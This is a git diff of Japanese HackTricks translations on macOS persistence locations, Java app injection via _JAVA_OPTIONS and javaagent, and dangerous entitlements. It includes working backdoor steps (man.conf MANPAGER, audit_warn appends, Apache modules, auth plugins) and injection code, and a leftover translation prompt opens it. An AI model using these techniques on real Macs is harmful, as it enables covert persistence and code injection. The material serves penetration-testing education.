以下は、macOSの自動起動場所に関するハッキング技術についての内容です。関連する英語テキストを日本語に翻訳し、同じマークダウンおよびHTML構文を保持してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名(Workspace、aws、gcpなど)、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウン構文以外の余計なものは追加しないでください。
|
||||
以下は、macOSの自動起動場所に関するハッキング技術についての内容です。関連する英語テキストを日本語に翻訳し、同じマークダウンおよびHTML構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名(Workspace、aws、gcpなど)、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行わないでください。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。
|
||||
|
||||
---
|
||||
|
||||
|
@ -1263,7 +1276,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
* サンドボックスをバイパスするのに役立ちます: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* しかし、rootである必要があり、追加の設定を行う必要があります
|
||||
|
||||
#### 場所
|
||||
#### 位置
|
||||
|
||||
* `/Library/Security/SecurityAgentPlugins/`
|
||||
* Rootが必要です
|
||||
|
@ -1271,7 +1284,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
ユーザーがログインするときに実行される認証プラグインを作成して、永続性を維持することができます。これらのプラグインの作成方法についての詳細は、前述のWriteupを確認してください(注意してください、不適切に書かれたプラグインはあなたをロックアウトする可能性があり、リカバリーモードからmacをクリーンアップする必要があるかもしれません)。
|
||||
ユーザーがログインするときに実行される認証プラグインを作成して、永続性を維持することができます。これらのプラグインの作成方法についての詳細は、前述のWriteupを確認してください(注意してください、不適切に書かれたプラグインはあなたをロックアウトする可能性があり、リカバリーモードからmacをクリーンアップする必要があります)。
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1327,14 +1340,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
#### 位置
|
||||
|
||||
* **`/private/etc/man.conf`**
|
||||
* Root が必要
|
||||
* Root 必要
|
||||
* **`/private/etc/man.conf`**: man が使用されるたびに
|
||||
|
||||
#### 説明 & エクスプロイト
|
||||
|
||||
設定ファイル **`/private/etc/man.conf`** は、man ドキュメントファイルを開く際に使用するバイナリ/スクリプトを指定します。したがって、実行可能ファイルへのパスを変更することで、ユーザーが man を使用してドキュメントを読むたびにバックドアが実行されるようにすることができます。
|
||||
設定ファイル **`/private/etc/man.conf`** は、man ドキュメントファイルを開くときに使用するバイナリ/スクリプトを指示します。したがって、実行可能ファイルへのパスを変更して、ユーザーがドキュメントを読むために man を使用するたびにバックドアが実行されるようにすることができます。
|
||||
|
||||
例えば、**`/private/etc/man.conf`** に次のように設定します:
|
||||
例えば、**`/private/etc/man.conf`** に設定します:
|
||||
```
|
||||
MANPAGER /tmp/view
|
||||
```
|
||||
|
@ -1351,7 +1364,7 @@ touch /tmp/manconf
|
|||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、root権限が必要で、Apacheが実行中である必要があります
|
||||
* しかし、root権限が必要で、Apacheが実行中である必要があります
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -1361,7 +1374,7 @@ touch /tmp/manconf
|
|||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
/etc/apache2/httpd.confにモジュールをロードするように指示する行を追加することができます:
|
||||
/etc/apache2/httpd.confにモジュールをロードするように指示する行を追加することができます。例えば:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1370,13 +1383,13 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
この方法で、コンパイルされたモジュールがApacheによってロードされます。ただし、**有効なApple証明書で署名する**か、システムに**新しい信頼できる証明書を追加**して、それで**署名する**必要があります。
|
||||
この方法で、コンパイルされたモジュールはApacheによってロードされます。ただし、**有効なApple証明書で署名する**か、システムに**新しい信頼できる証明書を追加**して、それで**署名する**必要があります。
|
||||
|
||||
その後、必要に応じて、サーバーが起動されることを確認するために次のコマンドを実行できます:
|
||||
その後、必要に応じて、サーバーが起動することを確認するために次のコマンドを実行できます:
|
||||
```bash
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
||||
```
|
||||
コード例:Dylb:
|
||||
コード例のDylb:
|
||||
```objectivec
|
||||
#include <stdio.h>
|
||||
#include <syslog.h>
|
||||
|
@ -1393,7 +1406,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* サンドボックスをバイパスするのに役立つ: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、rootである必要があり、auditdが実行されていて警告を引き起こす必要がある
|
||||
* しかし、rootである必要があり、auditdが実行されていて警告を引き起こす必要がある
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -1407,9 +1420,9 @@ auditdが警告を検出すると、スクリプト**`/etc/security/audit_warn`*
|
|||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
`sudo audit -n`を使用して警告を強制することができます。
|
||||
`sudo audit -n`を使用すると警告を強制することができます。
|
||||
|
||||
### スタートアップ項目
|
||||
### スタートアップアイテム
|
||||
|
||||
{% hint style="danger" %}
|
||||
**これは非推奨ですので、以下のディレクトリには何も見つからないはずです。**
|
||||
|
@ -1417,7 +1430,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
|
||||
**StartupItem**は、これらの2つのフォルダのいずれかに**配置されるディレクトリ**です。`/Library/StartupItems/` または `/System/Library/StartupItems/`
|
||||
|
||||
新しいディレクトリをこれらの2つの場所のいずれかに配置した後、そのディレクトリ内に**さらに2つの項目**を配置する必要があります。これら2つの項目は、**rcスクリプト**といくつかの設定を保持する**plist**です。このplistは "**StartupParameters.plist**" と呼ばれなければなりません。
|
||||
新しいディレクトリをこれら2つの場所のいずれかに配置した後、そのディレクトリ内に**さらに2つのアイテム**を配置する必要があります。これら2つのアイテムは、**rcスクリプト**といくつかの設定を保持する**plist**です。このplistは "**StartupParameters.plist**"と呼ばれなければなりません。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1464,14 +1477,14 @@ RunService "$1"
|
|||
### ~~emond~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
macOSでこのコンポーネントを見つけることができないので、詳細はライトアップを確認してください
|
||||
macOSでこのコンポーネントを見つけることができませんでした。詳細はライトアップをチェックしてください。
|
||||
{% endhint %}
|
||||
|
||||
ライトアップ: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Appleは**emond**と呼ばれるログメカニズムを導入しました。完全に開発されたことはなく、Appleによって他のメカニズムのために開発が**放棄**された可能性がありますが、依然として**利用可能**です。
|
||||
Appleは**emond**と呼ばれるログメカニズムを導入しました。完全に開発されたことはなく、Appleが他のメカニズムのために開発を**放棄**した可能性がありますが、依然として**利用可能**です。
|
||||
|
||||
このあまり知られていないサービスは、Mac管理者にとってはあまり役に立たないかもしれませんが、脅威アクターにとっては、ほとんどのmacOS管理者が探すことを知らないであろう**永続性メカニズムとして使用する非常に良い理由**があります。emondの悪意のある使用を検出することは難しくないはずです。なぜなら、サービスのSystem LaunchDaemonはスクリプトを実行する場所を1つだけ探しているからです:
|
||||
このあまり知られていないサービスは、Mac管理者にとってはあまり役に立たないかもしれませんが、脅威アクターにとっては、ほとんどのmacOS管理者が探すことを知らないであろう**永続性メカニズムとして使用する非常に良い理由**があります。emondの悪意のある使用を検出することは難しくないはずです。なぜなら、サービスのSystem LaunchDaemonはスクリプトを実行する場所を一箇所しか見ていないからです:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1483,7 +1496,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
|
||||
* Root権限が必要
|
||||
* **トリガー**: XQuartzと共に
|
||||
* **トリガー**: XQuartzを使用時
|
||||
|
||||
#### 説明 & エクスプロイト
|
||||
|
||||
|
@ -1502,7 +1515,7 @@ rootとしてkextをインストールするのは非常に複雑なので、サ
|
|||
* `/System/Library/Extensions`
|
||||
* OS Xオペレーティングシステムに組み込まれたKEXTファイル。
|
||||
* `/Library/Extensions`
|
||||
* サードパーティソフトウェアによってインストールされたKEXTファイル
|
||||
* サードパーティのソフトウェアによってインストールされたKEXTファイル
|
||||
|
||||
現在ロードされているkextファイルをリストするには:
|
||||
```bash
|
||||
|
@ -1525,7 +1538,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
どうやら`/System/Library/LaunchAgents/com.apple.amstoold.plist`の`plist`がこのバイナリを使用してXPCサービスを公開していたようですが、バイナリが存在しなかったので、何かをそこに置くと、XPCサービスが呼び出されたときにあなたのバイナリが呼び出されることになります。
|
||||
どうやら `/System/Library/LaunchAgents/com.apple.amstoold.plist` の `plist` がこのバイナリを使用してXPCサービスを公開していたようですが、バイナリが存在しなかったので、何かをそこに置くと、XPCサービスが呼び出されたときにあなたのバイナリが呼び出されます。
|
||||
|
||||
私のmacOSではもうこれを見つけることができません。
|
||||
|
||||
|
@ -1651,10 +1664,10 @@ esac
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksにあなたの会社を広告したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,183 @@
|
|||
# macOS Java アプリケーションインジェクション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのコツを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## 列挙
|
||||
|
||||
システムにインストールされているJavaアプリケーションを見つけます。**Info.plist**にあるJavaアプリケーションは、**`java.`**という文字列を含むJavaパラメータが含まれていることがわかりましたので、それを検索できます:
|
||||
```bash
|
||||
# Search only in /Applications folder
|
||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
|
||||
# Full search
|
||||
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
```
|
||||
## \_JAVA\_OPTIONS
|
||||
|
||||
環境変数 **`_JAVA_OPTIONS`** は、Javaでコンパイルされたアプリの実行に任意のJavaパラメータを注入するために使用できます:
|
||||
```bash
|
||||
# Write your payload in a script called /tmp/payload.sh
|
||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
```
|
||||
プロセスとして新しく実行し、現在のターミナルの子プロセスとしてではない場合、以下の方法を使用できます:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Specify the file path and content
|
||||
NSString *filePath = @"/tmp/payload.sh";
|
||||
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
|
||||
|
||||
NSError *error = nil;
|
||||
|
||||
// Write content to the file
|
||||
BOOL success = [content writeToFile:filePath
|
||||
atomically:YES
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
|
||||
if (!success) {
|
||||
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSLog(@"File written successfully to %@", filePath);
|
||||
|
||||
// Create a new task
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
|
||||
/// Set the task's launch path to use the 'open' command
|
||||
[task setLaunchPath:@"/usr/bin/open"];
|
||||
|
||||
// Arguments for the 'open' command, specifying the path to Android Studio
|
||||
[task setArguments:@[@"/Applications/Android Studio.app"]];
|
||||
|
||||
// Define custom environment variables
|
||||
NSDictionary *customEnvironment = @{
|
||||
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
|
||||
};
|
||||
|
||||
// Get the current environment and merge it with custom variables
|
||||
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
|
||||
[environment addEntriesFromDictionary:customEnvironment];
|
||||
|
||||
// Set the task's environment
|
||||
[task setEnvironment:environment];
|
||||
|
||||
// Launch the task
|
||||
[task launch];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
しかし、実行されたアプリケーションでエラーが発生しますが、もっと隠密な方法はJavaエージェントを作成し、以下を使用することです:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
||||
# Or
|
||||
|
||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
エージェントをアプリケーションと**異なるJavaバージョン**で作成すると、エージェントとアプリケーションの両方の実行がクラッシュする可能性があります
|
||||
{% endhint %}
|
||||
|
||||
エージェントは以下の通りです:
|
||||
|
||||
{% code title="Agent.java" %}
|
||||
```java
|
||||
import java.io.*;
|
||||
import java.lang.instrument.*;
|
||||
|
||||
public class Agent {
|
||||
public static void premain(String args, Instrumentation inst) {
|
||||
try {
|
||||
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
|
||||
Runtime.getRuntime().exec(commands);
|
||||
}
|
||||
catch (Exception err) {
|
||||
err.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
```
|
||||
エージェントをコンパイルするには、以下を実行します:
|
||||
```
|
||||
```bash
|
||||
javac Agent.java # Create Agent.class
|
||||
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||||
```
|
||||
`manifest.txt`を使って:
|
||||
```
|
||||
Premain-Class: Agent
|
||||
Agent-Class: Agent
|
||||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
```
|
||||
```markdown
|
||||
そして、環境変数をエクスポートして、次のようにJavaアプリケーションを実行します:
|
||||
```
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
||||
# Or
|
||||
|
||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
## vmoptionsファイル
|
||||
|
||||
このファイルはJavaが実行される際の**Javaパラメータ**の指定をサポートしています。以前のトリックをいくつか使用してJavaパラメータを変更し、**プロセスに任意のコマンドを実行させる**ことができます。\
|
||||
さらに、このファイルは`include`ディレクトリを使って**他のファイルを含める**こともできるので、含まれているファイルを変更することも可能です。
|
||||
|
||||
さらに、いくつかのJavaアプリケーションは**複数の`vmoptions`ファイルを読み込む**ことがあります。
|
||||
|
||||
Android Studioのようなアプリケーションは、これらのファイルをどこで探しているかを**出力で示して**います。例えば:
|
||||
```bash
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||
|
||||
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
||||
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
||||
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
||||
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
|
||||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
```
|
||||
彼らがそうしない場合、以下の方法で簡単にチェックできます:
|
||||
```bash
|
||||
# Monitor
|
||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||
|
||||
# Launch the Java app
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||
```
|
||||
```markdown
|
||||
この例で注目すべき点は、Android Studioが**`/Applications/Android Studio.app.vmoptions`** ファイルをロードしようとしていることです。これは**`admin` グループの任意のユーザーが書き込みアクセス権を持っている場所です。**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**最新版のPEASSを入手**したり、HackTricksをPDFで**ダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォロー**してください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
```
|
|
@ -1,89 +1,91 @@
|
|||
# macOS 危険な権限とTCCの許可
|
||||
# macOS 危険な権限とTCC権限
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ会社**で働いていますか?**HackTricksにあなたの会社を広告したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。**
|
||||
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
**`com.apple`** で始まる権限は、サードパーティには利用できません。Appleのみがそれらを付与できます。
|
||||
**`com.apple`**で始まる権限は第三者には利用できず、Appleのみが付与できることに注意してください。
|
||||
{% endhint %}
|
||||
|
||||
## High
|
||||
## 高
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
権限 **`com.apple.rootless.install.heritable`** は **SIPをバイパス**することができます。詳細については[こちらを参照](macos-sip.md#com.apple.rootless.install.heritable)してください。
|
||||
**`com.apple.rootless.install.heritable`** 権限は**SIPをバイパス**することを許可します。[こちらを参照してください](macos-sip.md#com.apple.rootless.install.heritable)。
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
権限 **`com.apple.rootless.install`** は **SIPをバイパス**することができます。詳細については[こちらを参照](macos-sip.md#com.apple.rootless.install)してください。
|
||||
**`com.apple.rootless.install`** 権限は**SIPをバイパス**することを許可します。[こちらを参照してください](macos-sip.md#com.apple.rootless.install)。
|
||||
|
||||
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow`)**
|
||||
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow` と呼ばれていた)**
|
||||
|
||||
この権限は、カーネルを除く**任意の**プロセスの**タスクポートを取得**することができます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
この権限は、カーネルを除く任意のプロセスの**タスクポートを取得**することを許可します。[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
この権限により、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリで実行されるプロセスのタスクポートを取得し、それにコードを注入することができます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
この権限は、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリによって実行されるプロセスのタスクポートを取得し、**コードを注入する**ことを許可します。[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
デバッグツール権限を持つアプリは、`Get Task Allow` 権限が `true` に設定された署名されていないサードパーティアプリに対して `task_for_pid()` を呼び出すことで有効なタスクポートを取得できます。ただし、デバッグツール権限を持っていても、デバッガは **`Get Task Allow` 権限を持たないプロセスのタスクポート** を取得することはできず、そのためシステム整合性保護によって保護されています。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)してください。
|
||||
デバッグツール権限を持つアプリは、`task_for_pid()`を呼び出して、`Get Task Allow`権限が`true`に設定されている未署名および第三者アプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガーは`Get Task Allow`権限を持たないプロセスのタスクポートを取得することは**できず**、そのためシステムインテグリティ保護によって保護されています。[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
この権限により、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを **ロードすることができます**。したがって、攻撃者は任意のライブラリのロードを悪用してコードを注入することができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)してください。
|
||||
この権限は、Appleによって署名されていない、またはメイン実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロードすることを許可**します。そのため、攻撃者は任意のライブラリのロードを悪用してコードを注入する可能性があります。[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
